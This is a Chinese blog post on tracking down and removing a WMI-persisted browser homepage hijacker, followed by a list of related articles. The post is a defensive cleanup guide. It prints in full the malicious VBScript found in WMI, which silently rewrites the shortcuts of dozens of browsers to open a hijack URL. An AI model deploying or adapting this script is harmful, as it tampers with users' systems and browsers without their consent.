此方法只适用于恶意软件在WMI中添加了恶意代码

感谢此片文章http://www.iefans.net/ie-zhuye-jiechi-www-2345-com-kunown作者,阅读下面前请先阅读此文,重复的地方不再复述。

本人跟上述文章中描述的情况差不多,但未在上述位置找到恶意代码,后来猜测恶意代码移了位置,果不其然,终被发现,为防止再次移位置,下面简述如何寻找。

右击“我的电脑”->"管理"->"服务和应用程序"->右击“WMI控件”->"属性"->"安全"选项卡->“Root”里面就是WMI所包含的所有文件夹,我这次是在Root\CIMV2中找到的,如果你们未在上述位置找到,可以通过WMI Tools逐个文件夹查找(子文件夹别漏了),我这次ScriptText中的代码是

On Error Resume Next:Const link = "http://hao.169x.cn/?v=108":Const link360 = "http://hao.169x.cn/?v=108&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\vip\Desktop,C:\Users\vip\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\vip\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\vip\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\vip\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:

另外,别忘了对照代码中的文件路径逐个检查相应文件夹下的快捷方式。

删除恶意添加hao123、2345为浏览器默认主页的方法相关推荐

  1. 如何删除360导航并且自定义各浏览器搜索主页

    如何删除360导航并且自定义各浏览器搜索主页 下载过360安全卫士会发现你在打开Edge浏览器时,主页显示是360导航 原因是:360安全卫士默认设置你的主页为360导航并且锁定了. 解决方法: 打开 ...

  2. 修改百分浏览器(centbrowser)、谷歌和火狐浏览器默认字体的方法

    修改百分浏览器(centbrowser).谷歌和火狐浏览器默认字体的方法 1,百分浏览器(centbrowser) 在浏览器的安装位置D:\Program Files\Cent Browser\Use ...

  3. Android 修改浏览器默认主页及书签

    修改是基于mtk Android方案自带的浏览器. 主页 在BrowserSettings.java构造函数中会启动一个handler来初始化homepage等: BackgroundHandler. ...

  4. 文件下载被浏览器默认打开解决方法

    问题描述: 下载视频文件时,被浏览器默认打开 原因分析: chrome浏览器默认事件,默认直接打开. 解决方案: <iframe width=0 height=0 frameborder=0 n ...

  5. android 更改浏览器默认主页

    首先可以在浏览器源代码里面搜索默认主页的网址,然后通过网址对应的字符串在源码里面搜索,定位到代码位置, 我这里定位到的代码文件是 BrowserSettings.java,具体代码如下: // sFa ...

  6. android+浏览器+主页,android 更改浏览器默认主页

    首先可以在浏览器源代码里面搜索默认主页的网址,然后通过网址对应的字符串在源码里面搜索,定位到代码位置, 我这里定位到的代码文件是 BrowserSettings.java,具体代码如下: // sFa ...

  7. Edge浏览器默认主页被莫名修改,修复流程分享

    目录 查看默认主页设置 默认主页修复 查看默认主页设置 打开浏览器,默认主页面为百度搜索 打开Egde浏览器的设置,查看开始.主页和新建标签页 按照设置每次打开Edge浏览器出现的应该是Edge自带的 ...

  8. 系统定制修改之修改 chrome 浏览器默认主页为指定网址

    原文链接:点击打开链接 步骤1定义一个java类 PartnerHomepageProviderExample.java 文件,代码如下: 定义好之后拷贝到源码环境该目录下: \packages\pr ...

  9. 浏览器默认主页被360篡改解决办法

    描述 平时用除了非360之外的浏览器,总会遇到浏览器主页变成360主页导航的情况. 原因 浏览器主页被360锁定 解决办法 关闭360的浏览器主页锁定 1.打开360安全卫士 2.找到功能大全中的主页 ...

最新文章

  1. LeetCode简单题之换酒问题
  2. php定义常量mypi 3.14,php – Codeigniter 3使用未定义的常量VIEWPATH – 假设’VIEWPATH’...
  3. oracle rpad mysql_Oracle生成不重复票号与LPAD,RPAD与NEXTVAL函数解析
  4. NVIDIA RTX技术是否会改变2019年的CG业务?
  5. Banana PI A20开发板 通过了CE,FCC,RoHS认证
  6. 第二阶段个人工作总结08
  7. Spring AOP中declare-parents为特定的类增加新的功能
  8. Vue.js 学习笔记 十一 自定义指令
  9. java学习笔记④MySql数据库--01/02 database table 数据的增删改
  10. spring 从源码学设计1-doDispatch()
  11. 2018弱密码TOP 100
  12. android 语音自动播报,Android语音播报的两种简单实现
  13. 利用finalshell连接腾讯云服务器linux系统记录
  14. 从码农到工程师:只要做到这6点
  15. 螣龙安科入侵感知:只有防火墙够吗?
  16. qtablewidget 复选框选中_QTableWidget中checkBox如何判断复选框是否被选中
  17. Angular /Angular cli安装教程
  18. 使用hmailserver搭建邮件服务器
  19. 2016小米实习生面试心得
  20. Numpy数据处理基础方法:运算、随机排列、修改

热门文章

  1. executeQuery、executeUpdate、execute
  2. 【LeetCode力扣】5814. 新增的最少台阶数 (第250场周赛)蓝湖专场
  3. 第一课:了解和认识51单片机
  4. 中医笔记--认识脉诊
  5. mysql写错了怎么改
  6. BZOJ 2300: [HAOI2011]防线修建|set维护凸壳
  7. 010破解(一)之暴力破解
  8. word的使用(一)---表格操作
  9. 1031 查验身份证(15)(15 分)
  10. English语法_冠词